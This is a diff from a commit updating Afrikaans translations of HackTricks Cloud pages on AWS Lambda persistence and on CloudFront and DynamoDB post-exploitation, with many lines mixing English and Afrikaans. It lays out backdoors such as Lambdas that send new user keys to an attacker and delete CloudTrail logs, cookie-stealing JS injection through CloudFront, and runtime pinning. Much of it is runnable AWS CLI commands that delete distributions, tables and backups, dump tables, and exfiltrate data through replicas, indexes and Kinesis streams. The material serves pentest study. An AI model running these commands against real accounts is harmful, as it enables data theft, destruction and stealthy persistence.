Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws

src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md

@@ -4,7 +4,7 @@
 
 ## Lambda
 
-For more information check:
+Vir meer inligting, kyk:
 
 {{#ref}}
 ../../aws-services/aws-lambda-enum.md
@@ -12,7 +12,7 @@ For more information check:
 
 ### Lambda Layer Persistence
 
-It's possible to **introduce/backdoor a layer to execute arbitrary code** when the lambda is executed in a stealthy way:
+Dit is moontlik om **introduce/backdoor a layer to execute arbitrary code** wanneer die Lambda uitgevoer word op 'n stealthy manier:
 
 {{#ref}}
 aws-lambda-layers-persistence.md
@@ -20,7 +20,7 @@ aws-lambda-layers-persistence.md
 
 ### Lambda Extension Persistence
 
-Abusing Lambda Layers it's also possible to abuse extensions and persist in the lambda but also steal and modify requests.
+Deur Lambda Layers te misbruik is dit ook moontlik om extensions te misbruik en in die Lambda te persist, en ook requests te steel en te wysig.
 
 {{#ref}}
 aws-abusing-lambda-extensions.md
@@ -28,7 +28,7 @@ aws-abusing-lambda-extensions.md
 
 ### Via resource policies
 
-It's possible to grant access to different lambda actions (such as invoke or update code) to external accounts:
+Dit is moontlik om toegang te verleen tot verskeie lambda actions (soos invoke of update code) aan external accounts:
 
 <figure><img src="../../../../images/image (255).png" alt=""><figcaption></figcaption></figure>
 
@@ -54,16 +54,16 @@ This way an attacker could create a **backdoored version 1** and a **version 2 w
 
 ### Cron/Event actuator
 
-The fact that you can make **lambda functions run when something happen or when some time pass** makes lambda a nice and common way to obtain persistence and avoid detection.\
-Here you have some ideas to make your **presence in AWS more stealth by creating lambdas**.
+Die feit dat jy **lambda functions run when something happen or when some time pass** maak Lambda 'n gewilde en algemene manier om persistence te bekom en avoid detection.\
+Hier is 'n paar idees om jou **presence in AWS more stealth by creating lambdas**.
 
-- Every time a new user is created lambda generates a new user key and send it to the attacker.
-- Every time a new role is created lambda gives assume role permissions to compromised users.
-- Every time new cloudtrail logs are generated, delete/alter them
+- Elke keer as 'n nuwe user geskep word, genereer die Lambda 'n nuwe user key en stuur dit aan die attacker.
+- Elke keer as 'n nuwe role geskep word, gee die Lambda assume role permissions aan compromised users.
+- Elke keer as nuwe cloudtrail logs gegenereer word, delete/alter them
 
 ### RCE abusing AWS_LAMBDA_EXEC_WRAPPER + Lambda Layers
 
-Abuse the environment variable `AWS_LAMBDA_EXEC_WRAPPER` to execute an attacker-controlled wrapper script before the runtime/handler starts. Deliver the wrapper via a Lambda Layer at `/opt/bin/htwrap`, set `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap`, and then invoke the function. The wrapper runs inside the function runtime process, inherits the function execution role, and finally `exec`s the real runtime so the original handler still executes normally.
+Misbruik die environment variable `AWS_LAMBDA_EXEC_WRAPPER` om 'n attacker-controlled wrapper script uit te voer voordat die runtime/handler begin. Lewer die wrapper via 'n Lambda Layer by `/opt/bin/htwrap`, stel `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap`, en invoke dan die function. Die wrapper loop binne die function runtime proses, erf die function execution role, en uiteindelik `exec`s die regte runtime sodat die oorspronklike handler steeds normaal uitgevoer word.
 
 {{#ref}}
 aws-lambda-exec-wrapper-persistence.md
@@ -71,7 +71,7 @@ aws-lambda-exec-wrapper-persistence.md
 
 ### AWS - Lambda Function URL Public Exposure
 
-Abuse Lambda asynchronous destinations together with the Recursion configuration to make a function continually re-invoke itself with no external scheduler (no EventBridge, cron, etc.). By default, Lambda terminates recursive loops, but setting the recursion config to Allow re-enables them. Destinations deliver on the service side for async invokes, so a single seed invoke creates a stealthy, code-free heartbeat/backdoor channel. Optionally throttle with reserved concurrency to keep noise low.
+Misbruik Lambda asynchronous destinations saam met die Recursion configuration om 'n function aanhoudend weer self te re-invoke sonder 'n external scheduler (geen EventBridge, cron, ens.). Standaard beëindig Lambda recursive loops, maar deur die recursion config op Allow te stel heraktiveer dit weer. Destinations deliver on the service side for async invokes, so a single seed invoke creates a stealthy, code-free heartbeat/backdoor channel. Optionally throttle with reserved concurrency to keep noise low.
 
 {{#ref}}
 aws-lambda-async-self-loop-persistence.md
@@ -79,7 +79,7 @@ aws-lambda-async-self-loop-persistence.md
 
 ### AWS - Lambda Alias-Scoped Resource Policy Backdoor
 
-Create a hidden Lambda version with attacker logic and scope a resource-based policy to that specific version (or alias) using the `--qualifier` parameter in `lambda add-permission`. Grant only `lambda:InvokeFunction` on `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` to an attacker principal. Normal invocations via the function name or primary alias remain unaffected, while the attacker can directly invoke the backdoored version ARN.
+Skep 'n hidden Lambda version met attacker logic en scope 'n resource-based policy na daardie spesifieke version (of alias) deur die `--qualifier` parameter in `lambda add-permission` te gebruik. Gee slegs `lambda:InvokeFunction` op `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` aan 'n attacker principal. Normale invocations via die function name of primary alias bly ongemoeid, terwyl die attacker direk die backdoored version ARN kan invoke.
 
 This is stealthier than exposing a Function URL and doesn’t change the primary traffic alias.
 
@@ -87,5 +87,47 @@ This is stealthier than exposing a Function URL and doesn’t change the primary
 aws-lambda-alias-version-policy-backdoor.md
 {{#endref}}
 
+### Freezing AWS Lambda Runtimes
 
+An attacker who has lambda:InvokeFunction, logs:FilterLogEvents, lambda:PutRuntimeManagementConfig, and lambda:GetRuntimeManagementConfig permissions can modify a function’s runtime management configuration. This attack is especially effective when the goal is to keep a Lambda function on a vulnerable runtime version or to preserve compatibility with malicious layers that might be incompatible with newer runtimes.
+
+The attacker modifies the runtime management configuration to pin the runtime version:
+```bash
+# Invoke the function to generate runtime logs
+aws lambda invoke \
+--function-name $TARGET_FN \
+--payload '{}' \
+--region us-east-1 /tmp/ping.json
+
+sleep 5
+
+# Freeze automatic runtime updates on function update
+aws lambda put-runtime-management-config \
+--function-name $TARGET_FN \
+--update-runtime-on FunctionUpdate \
+--region us-east-1
+```
+Verifieer die toegepaste konfigurasie:
+```bash
+aws lambda get-runtime-management-config \
+--function-name $TARGET_FN \
+--region us-east-1
+```
+Opsioneel: Pin na 'n spesifieke runtime-weergawe
+```bash
+# Extract Runtime Version ARN from INIT_START logs
+RUNTIME_ARN=$(aws logs filter-log-events \
+--log-group-name /aws/lambda/$TARGET_FN \
+--filter-pattern "INIT_START" \
+--query 'events[0].message' \
+--output text | grep -o 'Runtime Version ARN: [^,]*' | cut -d' ' -f4)
+```
+Vaspen op 'n spesifieke runtime-weergawe:
+```bash
+aws lambda put-runtime-management-config \
+--function-name $TARGET_FN \
+--update-runtime-on Manual \
+--runtime-version-arn $RUNTIME_ARN \
+--region us-east-1
+```
 {{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md

@@ -4,28 +4,37 @@
 
 ## CloudFront
 
-Vir meer inligting, kyk:
+For more information check:
 
 {{#ref}}
 ../../aws-services/aws-cloudfront-enum.md
 {{#endref}}
 
+### `cloudfront:Delete*`
+'n Aanvaller wat `cloudfront:Delete*` toegekry is, kan distributions, policies en ander kritieke CDN-konfigurasie-objekte uitvee — byvoorbeeld distributions, cache/origin policies, key groups, origin access identities, functions/configs, en verwante hulpbronne. Dit kan diensonderbreking, inhoudverlies, en verwydering van konfigurasie- of forensiese artefakte tot gevolg hê.
+
+Om 'n distribution te verwyder, kan 'n aanvaller die volgende gebruik:
+```bash
+aws cloudfront delete-distribution \
+--id <DISTRIBUTION_ID> \
+--if-match <ETAG>
+```
 ### Man-in-the-Middle
 
-This [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) stel 'n paar verskillende scenario's voor waar 'n **Lambda** bygevoeg kan word (of gewysig as dit reeds gebruik word) in 'n **kommunikasie deur CloudFront** met die doel om gebruikersinligting te **steel** (soos die session **cookie**) en die **response** te **wysig** (deur 'n kwaadwillige JS-skrip in te spuit).
+Hierdie [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) stel 'n paar verskillende scenario's voor waar 'n **Lambda** by 'n **communication through CloudFront** gevoeg kan word (of gewysig kan word as dit reeds gebruik word) met die doel van **stealing** van gebruikersinligting (soos die sessie **cookie**) en **modifying** van die **response** (injecting a malicious JS script).
 
-#### scenario 1: MitM waar CloudFront gekonfigureer is om HTML van 'n bucket te benader
+#### scenario 1: MitM where CloudFront is configured to access some HTML of a bucket
 
 - **Skep** die kwaadwillige **function**.
 - **Koppel** dit aan die CloudFront distribution.
-- Stel die **event type op "Viewer Response"**.
+- Stel die **event type to "Viewer Response"**.
 
-Deur toegang tot die **response** te kry, kan jy die gebruiker se **cookie** steel en 'n kwaadwillige JS inspuit.
+Deur toegang tot die **response** te kry, kan jy die gebruiker se **cookie** steel en 'n malicious JS injekteer.
 
-#### scenario 2: MitM waar CloudFront reeds 'n lambda function gebruik
+#### scenario 2: MitM where CloudFront is already using a lambda function
 
 - **Wysig die kode** van die lambda function om sensitiewe inligting te steel
 
-Jy kan die [**tf code om hierdie scenario's hier te herproduseer**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main) nagaan.
+You can check the [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
 
 {{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md

@@ -4,7 +4,7 @@
 
 ## DynamoDB
 
-Vir meer inligting, sien:
+Vir meer inligting sien:
 
 {{#ref}}
 ../../aws-services/aws-dynamodb-enum.md
@@ -12,10 +12,7 @@ Vir meer inligting, sien:
 
 ### `dynamodb:BatchGetItem`
 
-An attacker met hierdie regte sal in staat wees om **items uit tabelle per primêre sleutel te kry** (jy kan nie net al die data van die tabel vra nie). Dit beteken dat jy die primêre sleutels moet ken (jy kan dit kry deur die tabel se metadata te kry (`describe-table`).
-
-{{#tabs }}
-{{#tab name="json file" }}
+'n aanvaller met hierdie toestemmings sal in staat wees om **items uit tabelle volgens die primêre sleutel te kry** (jy kan nie net vra vir al die data van die tabel nie). Dit beteken dat jy die primêre sleutels moet ken (jy kan dit kry deur die tabel se metadata te kry met `describe-table`).
 ```bash
 aws dynamodb batch-get-item --request-items file:///tmp/a.json
 
@@ -47,7 +44,7 @@ aws dynamodb batch-get-item \
 
 ### `dynamodb:GetItem`
 
-**Soortgelyk aan die vorige permissions** laat hierdie een 'n potensiële attacker toe om waardes van net 1 tabel te lees, mits die primary key van die inskrywing bekend is:
+**Soortgelyk aan die vorige permissions** stel hierdie een 'n potensiële aanvaller in staat om waardes uit slegs 1 tabel te lees, mits die primêre sleutel van die inskrywing bekend is:
 ```json
 aws dynamodb get-item --table-name ProductCatalog --key  file:///tmp/a.json
 
@@ -58,7 +55,7 @@ aws dynamodb get-item --table-name ProductCatalog --key  file:///tmp/a.json
 }
 }
 ```
-Met hierdie toestemming is dit ook moontlik om die **`transact-get-items`**-metode soos volg te gebruik:
+Met hierdie toestemming is dit ook moontlik om die **`transact-get-items`** metode soos volg te gebruik:
 ```json
 aws dynamodb transact-get-items \
 --transact-items file:///tmp/a.json
@@ -75,11 +72,11 @@ aws dynamodb transact-get-items \
 }
 ]
 ```
-**Potential Impact:** Indirekte privesc deur sensitiewe inligting in die tabel te vind
+**Potensiële impak:** Indirect privesc deur sensitiewe inligting in die tabel te vind
 
 ### `dynamodb:Query`
 
-**Soortgelyk aan die vorige permissies** hierdie een laat 'n potensiële aanvaller toe om waardes uit net 1 tabel te lees, mits die primêre sleutel van die item wat teruggevra word, gegee is. Dit laat toe om [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html) te gebruik, maar die enigste vergelyking wat met die primêre sleutel (wat moet verskyn) toegelaat word, is "EQ", so jy kan nie 'n vergelyking gebruik om die hele DB in een versoek te kry nie.
+**Soortgelyk aan die vorige toestemmings** laat hierdie een 'n potensiële aanvaller toe om waardes te lees van net 1 tabel gegee die primêre sleutel van die inskrywing wat teruggehaal moet word. Dit laat toe om 'n [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html) te gebruik, maar die enigste vergelyking wat met die primêre sleutel (wat moet verskyn) toegelaat word, is "EQ", dus kan jy nie 'n vergelyking gebruik om die hele DB in 'n versoek te kry nie.
 
 {{#tabs }}
 {{#tab name="json file" }}
@@ -107,15 +104,15 @@ aws dynamodb query \
 {{#endtab }}
 {{#endtabs }}
 
-**Potensiële Impak:** Indirekte privesc deur sensitiewe inligting in die tabel te vind
+**Potensiële impak:** Indirect privesc deur sensitiewe inligting in die tabel te vind
 
 ### `dynamodb:Scan`
 
-Jy kan hierdie toestemming gebruik om die hele tabel maklik te dump.
+Jy kan hierdie permissie gebruik om **dump die hele tabel maklik**.
 ```bash
 aws dynamodb scan --table-name <t_name> #Get data inside the table
 ```
-**Potensiële impak:** Indirekte privesc deur sensitiewe inligting in die tabel te vind
+**Potensiële impak:** Indirek privesc deur sensitiewe inligting in die tabel te vind
 
 ### `dynamodb:PartiQLSelect`
 
@@ -124,18 +121,18 @@ Jy kan hierdie toestemming gebruik om **die hele tabel maklik te dump**.
 aws dynamodb execute-statement \
 --statement "SELECT * FROM ProductCatalog"
 ```
-Hierdie toestemming maak dit ook moontlik om `batch-execute-statement` uit te voer, soos:
+Hierdie toestemming laat ook toe om `batch-execute-statement` uit te voer soos:
 ```bash
 aws dynamodb batch-execute-statement \
 --statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
 ```
-maar jy moet die primêre sleutel met 'n waarde spesifiseer, so dit is nie baie nuttig nie.
+maar jy moet die primêre sleutel met 'n waarde spesifiseer, so dit is nie so nuttig nie.
 
-**Potensiële impak:** Indirekte privesc deur sensitiewe inligting in die tabel te vind
+**Potensiële impak:** Indirect privesc deur gevoelige inligting in die tabel te lokaliseer
 
 ### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)`
 
-Hierdie toestemming sal 'n aanvaller toelaat om **die hele tabel na 'n S3-bucket van sy keuse te eksporteer**:
+Hierdie toestemming sal 'n aanvaller toelaat om die **hele tabel na 'n S3 bucket van sy keuse uit te voer**:
 ```bash
 aws dynamodb export-table-to-point-in-time \
 --table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
@@ -144,33 +141,34 @@ aws dynamodb export-table-to-point-in-time \
 --export-time <point_in_time> \
 --region <region>
 ```
-Let wel: daarvoor moet die tabel point-in-time-recovery geaktiveer wees. Jy kan nagaan of die tabel dit het met:
+Let wel dat die tabel vir dit om te werk point-in-time-recovery geaktiveer moet hê; jy kan nagaan of die tabel dit het met:
 ```bash
 aws dynamodb describe-continuous-backups \
 --table-name <tablename>
 ```
-As dit nie aangeskakel is nie, sal jy dit moet **aanskakel** en daarvoor benodig jy die **`dynamodb:ExportTableToPointInTime`** toestemming:
+As dit nie aangeskakel is nie, sal jy dit moet **aanskakel** en daarvoor het jy die **`dynamodb:ExportTableToPointInTime`** toestemming nodig:
 ```bash
 aws dynamodb update-continuous-backups \
 --table-name <value> \
 --point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
 ```
-**Potensiële impak:** Indirekte privesc deur sensitiewe inligting in die tabel te vind
+**Potensiële impak:** Indirect privesc deur sensitiewe inligting in die tabel te vind
 
 ### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
 
-Met hierdie toestemmings kan 'n aanvaller **'n nuwe tabel vanaf 'n rugsteun skep** (of selfs 'n rugsteun skep om dit dan in 'n ander tabel te herstel). Dan, met die nodige toestemmings, sal hy in staat wees om **inligting** uit die rugsteune te kontroleer wat **nie meer in die produksietabel** is.
+
+Met hierdie permissies kan 'n aanvaller **'n nuwe tabel uit 'n backup skep** (of selfs 'n backup skep om dit dan in 'n ander tabel te herstel). Dan, met die nodige permissies, sou hy in staat wees om **inligting** vanaf die backups na te gaan wat **nie meer in die produksie-tabel voorkom nie**.
 ```bash
 aws dynamodb restore-table-from-backup \
 --backup-arn <source-backup-arn> \
 --target-table-name <new-table-name> \
 --region <region>
 ```
-**Potensiële impak:** Indirekte privesc deur sensitiewe inligting in die tabel se rugsteun te lokaliseer
+**Potensiële impak:** Indirekte privesc deur sensitiewe inligting in die tabel-rugsteun te vind
 
 ### `dynamodb:PutItem`
 
-Hierdie toestemming laat gebruikers toe om 'n **nuwe item by die tabel te voeg of 'n bestaande item met 'n nuwe item te vervang**. As 'n item met dieselfde primêre sleutel reeds bestaan, sal die **gehele item deur die nuwe item vervang** word. As die primêre sleutel nie bestaan nie, sal 'n nuwe item met die gespesifiseerde primêre sleutel **aangemaak** word.
+Hierdie toestemming stel gebruikers in staat om 'n **nuwe item by die tabel te voeg of 'n bestaande item deur 'n nuwe item te vervang**. As 'n item met dieselfde primêre sleutel reeds bestaan, sal die **gehele item met die nuwe item vervang word**. As die primêre sleutel nie bestaan nie, sal 'n nuwe item met die gespesifiseerde primêre sleutel **geskep** word.
 
 {{#tabs }}
 {{#tab name="XSS Example" }}
@@ -202,11 +200,11 @@ aws dynamodb put-item \
 {{#endtab }}
 {{#endtabs }}
 
-**Potensiële impak:** Uitbuiting van verdere kwetsbaarhede/omseilings deur in staat te wees om data in 'n DynamoDB tabel by te voeg/wysig
+**Potential Impact:** Uitbuiting van verdere kwesbaarhede of bypasses deur die vermoë om data in 'n DynamoDB-tabel by te voeg of te wysig
 
 ### `dynamodb:UpdateItem`
 
-Hierdie toestemming laat gebruikers toe om **die bestaande eienskappe van 'n item te wysig of nuwe eienskappe by 'n item te voeg**. Dit vervang **nie** die hele item nie; dit werk slegs die gespesifiseerde eienskappe by. As die primêre sleutel nie in die tabel bestaan nie, sal die operasie **'n nuwe item skep** met die gespesifiseerde primêre sleutel en die eienskappe soos gespesifiseer in die update expression instel.
+Hierdie toestemming maak dit vir gebruikers moontlik om die **bestaande eienskappe van 'n item te wysig of nuwe eienskappe by 'n item te voeg**. Dit **vervang nie** die hele item nie; dit werk slegs die gespesifiseerde eienskappe by. As die primêre sleutel nie in die tabel bestaan nie, sal die operasie **'n nuwe item skep** met die gespesifiseerde primêre sleutel en die eienskappe instel wat in die update expression gespesifiseer is.
 
 {{#tabs }}
 {{#tab name="XSS Example" }}
@@ -242,11 +240,11 @@ aws dynamodb update-item \
 {{#endtab }}
 {{#endtabs }}
 
-**Potensiële impak:** Uitbuiting van verdere vulnerabilities/bypasses deur in staat te wees om data by te voeg/wysig in 'n DynamoDB tabel
+**Potensiële impak:** Uitbuiting van verdere vulnerabilities/bypasses deur die vermoë om data by te voeg/wysig in 'n DynamoDB tabel
 
 ### `dynamodb:DeleteTable`
 
-'n attacker met hierdie toestemming kan **'n DynamoDB tabel verwyder, wat dataverlies veroorsaak**.
+'n aanvaller met hierdie toestemming kan **'n DynamoDB-tabel verwyder, wat dataverlies veroorsaak**
 ```bash
 aws dynamodb delete-table \
 --table-name TargetTable \
@@ -256,22 +254,22 @@ aws dynamodb delete-table \
 
 ### `dynamodb:DeleteBackup`
 
-Aanvaller met hierdie toestemming kan **'n DynamoDB-rugsteun verwyder, wat moontlik dataverlies in 'n rampherstelscenario veroorsaak**.
+'n Aanvaller met hierdie toestemming kan **'n DynamoDB-rugsteun uitvee, wat moontlik dataverlies kan veroorsaak in die geval van 'n noodherstelscenario**.
 ```bash
 aws dynamodb delete-backup \
 --backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
 --region <region>
 ```
-**Potensiële impak**: Dataverlies en onmoontlikheid om van ’n rugsteun te herstel tydens ’n rampherstelscenario.
+**Potensiële impak**: Dataverlies en onvermoë om van 'n rugsteun te herstel tydens 'n rampherstel-scenario.
 
 ### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords`
 
 > [!NOTE]
-> TODO: Toets of dit werklik werk
+> TODO: Toets of dit eintlik werk
 
-’n aanvaller met hierdie toestemmings kan **’n stream op ’n DynamoDB-tabel aktiveer, die tabel bywerk om te begin stream veranderinge, en daarna toegang tot die stream kry om veranderinge aan die tabel in reële tyd te monitor**. Dit stel die aanvaller in staat om data changes te monitor en te exfiltrate, wat potensieel kan lei tot data leakage.
+'n aanvaller met hierdie toestemmings kan **'n stream op 'n DynamoDB-tabel aktiveer, die tabel bywerk om veranderinge te begin stroom, en dan toegang tot die stream kry om veranderinge aan die tabel in reële tyd te monitor**. Dit stel die aanvaller in staat om dataveranderinge te monitor en te exfiltrate, wat moontlik kan lei tot data leakage.
 
-1. Skakel ’n stream op ’n DynamoDB-tabel in:
+1. Aktiveer 'n stream op 'n DynamoDB-tabel:
 ```bash
 aws dynamodb update-table \
 --table-name TargetTable \
@@ -284,7 +282,7 @@ aws dynamodb describe-stream \
 --table-name TargetTable \
 --region <region>
 ```
-3. Kry die shard iterator met behulp van die stream ARN:
+3. Kry die shard iterator deur die stream ARN te gebruik:
 ```bash
 aws dynamodbstreams get-shard-iterator \
 --stream-arn <stream_arn> \
@@ -292,20 +290,20 @@ aws dynamodbstreams get-shard-iterator \
 --shard-iterator-type LATEST \
 --region <region>
 ```
-4. Gebruik die shard iterator om toegang tot die stream te kry en data te exfiltrateer:
+4. Gebruik die shard iterator om data van die stroom te benader en te exfiltrateer:
 ```bash
 aws dynamodbstreams get-records \
 --shard-iterator <shard_iterator> \
 --region <region>
 ```
-**Potensiële impak**: Reële-tyd monitering en data leakage van die DynamoDB-tabel se veranderinge.
+**Potensiële impak**: Real-time monitering en data leakage van die DynamoDB-tabel se veranderinge.
 
 ### Lees items via `dynamodb:UpdateItem` and `ReturnValues=ALL_OLD`
 
-'n Aanvaller met slegs `dynamodb:UpdateItem` op 'n tabel kan items lees sonder enige van die gewone lees-permissies (`GetItem`/`Query`/`Scan`) deur 'n onskadelike update uit te voer en `--return-values ALL_OLD` aan te vra. DynamoDB sal die volle vooraf-opdateringsbeeld van die item in die `Attributes`-veld van die response teruggee (dit verbruik nie RCUs nie).
+'n Aanvaller met slegs `dynamodb:UpdateItem` op 'n tabel kan items lees sonder enige van die gewone lees-magtigings (`GetItem`/`Query`/`Scan`) deur 'n onskadelike update uit te voer en `--return-values ALL_OLD` te versoek. DynamoDB sal die volledige pre-update beeld van die item in die `Attributes` veld van die response teruggee (dit verbruik nie RCUs nie).
 
-- Minimum permissions: `dynamodb:UpdateItem` on the target table/key.
-- Prerequisites: Jy moet die item se primêre sleutel ken.
+- Minimum toestemmings: `dynamodb:UpdateItem` op die teiken-tabel/sleutel.
+- Voorvereistes: Jy moet die item se primêre sleutel ken.
 
 Voorbeeld (voeg 'n onskadelike attribuut by en exfiltrates die vorige item in die response):
 ```bash
@@ -318,14 +316,14 @@ aws dynamodb update-item \
 --return-values ALL_OLD \
 --region <region>
 ```
-Die CLI-respons sal `n `Attributes` blok insluit wat die volledige vorige item bevat (alle attributes), wat effektief `n read primitive vanaf write-only toegang verskaf.
+Die CLI-antwoord sal 'n `Attributes`-blok insluit wat die volledige vorige item (alle attributes) bevat, wat effektief 'n lees-primitive vanaf skryftoegang bied.
 
-**Potensiële impak:** Lees arbitrêre items uit `n tabel met slegs write permissions, wat sensitiewe data exfiltration moontlik maak wanneer die primary keys bekend is.
+**Potential Impact:** Lees arbitrêre items van 'n tabel met slegs skryftoestemmings, wat sensitiewe data exfiltration moontlik maak wanneer primêre sleutels bekend is.
 
 
 ### `dynamodb:UpdateTable (replica-updates)` | `dynamodb:CreateTableReplica`
 
-Stealth exfiltration deur `n nuwe replica Region by te voeg tot `n DynamoDB Global Table (version 2019.11.21). As `n principal `n regional replica kan byvoeg, word die hele tabel na die attacker-chosen Region gerepliseer, waarvandaan die attacker alle items kan read.
+Stealth exfiltration deur 'n nuwe replica Region by 'n DynamoDB Global Table (weergawe 2019.11.21) te voeg. As 'n principal 'n regionale replica kan byvoeg, word die hele tabel gerepliseer na die attacker-chosen Region, vanwaar die attacker alle items kan lees.
 
 {{#tabs }}
 {{#tab name="PoC (default DynamoDB-managed KMS)" }}
@@ -343,7 +341,7 @@ aws dynamodb describe-table --table-name <TableName> --region <replica-region> -
 aws dynamodb scan --table-name <TableName> --region <replica-region>
 ```
 {{#endtab }}
-{{#tab name="PoC (customer-managed KMS)" }}
+{{#tab name="PoC (deur kliënt bestuurde KMS)" }}
 ```bash
 # Specify the CMK to use in the replica Region
 aws dynamodb update-table \
@@ -354,13 +352,13 @@ aws dynamodb update-table \
 {{#endtab }}
 {{#endtabs }}
 
-Permissies: `dynamodb:UpdateTable` (met `replica-updates`) of `dynamodb:CreateTableReplica` op die teiken-tabel. As `CMK` in die replica gebruik word, mag `KMS`-permissies vir daardie sleutel vereis word.
+Permissies: `dynamodb:UpdateTable` (with `replica-updates`) or `dynamodb:CreateTableReplica` on the target table. If CMK is used in the replica, KMS permissions for that key may be required.
 
-Potensiële impak: Volledige tabelreplikasie na 'n attacker-controlled Region wat kan lei tot stealthy data exfiltration.
+Potensiële impak: Volledige tabelreplikasie na ’n streek wat deur die aanvaller beheer word, wat tot geslepe data-ekfiltrasie lei.
 
 ### `dynamodb:TransactWriteItems` (read via failed condition + `ReturnValuesOnConditionCheckFailure=ALL_OLD`)
 
-'n attacker met transaksionele skryfprivileges kan die full attributes van 'n bestaande item exfiltrate deur 'n `Update` binne `TransactWriteItems` uit te voer wat opzettelik 'n `ConditionExpression` laat misluk terwyl `ReturnValuesOnConditionCheckFailure=ALL_OLD` gestel is. By mislukking sluit DynamoDB die vorige attributes in die transaksie-kanselleringsredes in, wat effektief write-only access in read access van geteikende sleutels omskakel.
+'n aanvaller met transaksionele skryfbevoegdhede kan die volle eienskappe van 'n bestaande item ekfiltreer deur 'n `Update` binne `TransactWriteItems` uit te voer wat opsetlik 'n `ConditionExpression` laat misluk terwyl `ReturnValuesOnConditionCheckFailure=ALL_OLD` gestel is. By mislukking sluit DynamoDB die vorige eienskappe in die transaksie-kansellasieredes in, wat skryf-alleen toegang effektief in lees-toegang tot geteikende sleutels omskakel.
 
 {{#tabs }}
 {{#tab name="PoC (AWS CLI >= supports cancellation reasons)" }}
@@ -409,19 +407,19 @@ print(e.response['CancellationReasons'][0]['Item'])
 {{#endtab }}
 {{#endtabs }}
 
-Toestemmings: `dynamodb:TransactWriteItems` op die teiken tabel (en die onderliggende item). Geen lees-toestemmings word vereis nie.
+Permissies: `dynamodb:TransactWriteItems` on the target table (and the underlying item). Geen leespermissies is vereis nie.
 
-Potensiële impak: Lees arbitrêre items (per primêre sleutel) uit 'n tabel slegs met transaksionele skryfprivilegieë deur die teruggegewe kanselleringsredes.
+Potensiële impak: Lees ewekansige items (per primêre sleutel) vanaf 'n tabel deur slegs transaksionele skryfprivileges te gebruik via die teruggegewe kanselleringsredes.
 
 
 ### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` op GSI
 
-Om leesbeperkings te omseil, skep 'n Global Secondary Index (GSI) met `ProjectionType=ALL` op 'n lae-entropie attribuut, stel daardie attribuut oor items heen op 'n konstante waarde, en voer dan `Query` op die indeks uit om volledige items te kry. Dit werk selfs as `Query`/`Scan` op die basistabel geweier word, solank jy die indeks ARN kan query.
+Om leesbeperkings te omseil deur 'n Global Secondary Index (GSI) met `ProjectionType=ALL` op 'n lae-entropie attribuut te skep, daardie attribuut op 'n konstante waarde oor items heen te stel, en dan die `Query` op die indeks te gebruik om volledige items te herstel. Dit werk selfs as `Query`/`Scan` op die basistabel geweier word, solank jy die index ARN kan query.
 
-- Minimum toestemmings:
-- `dynamodb:UpdateTable` op die teiken tabel (om die GSI met `ProjectionType=ALL` te skep).
-- `dynamodb:UpdateItem` op die teiken tabel sleutels (om die geïndekseerde attribuut op elke item te stel).
-- `dynamodb:Query` op die indeks resource ARN (`arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>`).
+- Minimale permissies:
+- `dynamodb:UpdateTable` on the target table (om die GSI met `ProjectionType=ALL` te skep).
+- `dynamodb:UpdateItem` on the target table keys (om die geïndekseerde attribuut op elke item te stel).
+- `dynamodb:Query` on the index resource ARN (`arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>`).
 
 Stappe (PoC in us-east-1):
 ```bash
@@ -464,14 +462,14 @@ aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \
 **Potensiële impak:** Full table exfiltration by querying a newly created GSI that projects all attributes, even when base table read APIs are denied.
 
 
-### `dynamodb:EnableKinesisStreamingDestination` (Continuous exfiltration via Kinesis Data Streams)
+### `dynamodb:EnableKinesisStreamingDestination` (Deurlopende exfiltration via Kinesis Data Streams)
 
-Misbruik van DynamoDB Kinesis streaming destinations om voortdurend veranderings van 'n tabel na 'n attacker-controlled Kinesis Data Stream te exfiltrate. Sodra dit geaktiveer is, word elke INSERT/MODIFY/REMOVE-gebeurtenis byna in real-time na die stream gestuur sonder dat lees-permissies op die tabel benodig word.
+Misbruik van DynamoDB Kinesis streaming destinations om changes van 'n tabel deurlopend te exfiltrate na 'n attacker-controlled Kinesis Data Stream. Sodra dit geaktiveer is, word elke INSERT/MODIFY/REMOVE-event byna in real-time na die stream gestuur sonder dat read permissions op die tabel benodig word.
 
-Minimale permissies (attacker):
+Minimum permissions (attacker):
 - `dynamodb:EnableKinesisStreamingDestination` on the target table
-- Opsioneel `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` om status te monitor
-- Lees-permissies op die attacker-owned Kinesis stream om rekords te verbruik: `kinesis:*`
+- Optionally `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` om die status te monitor
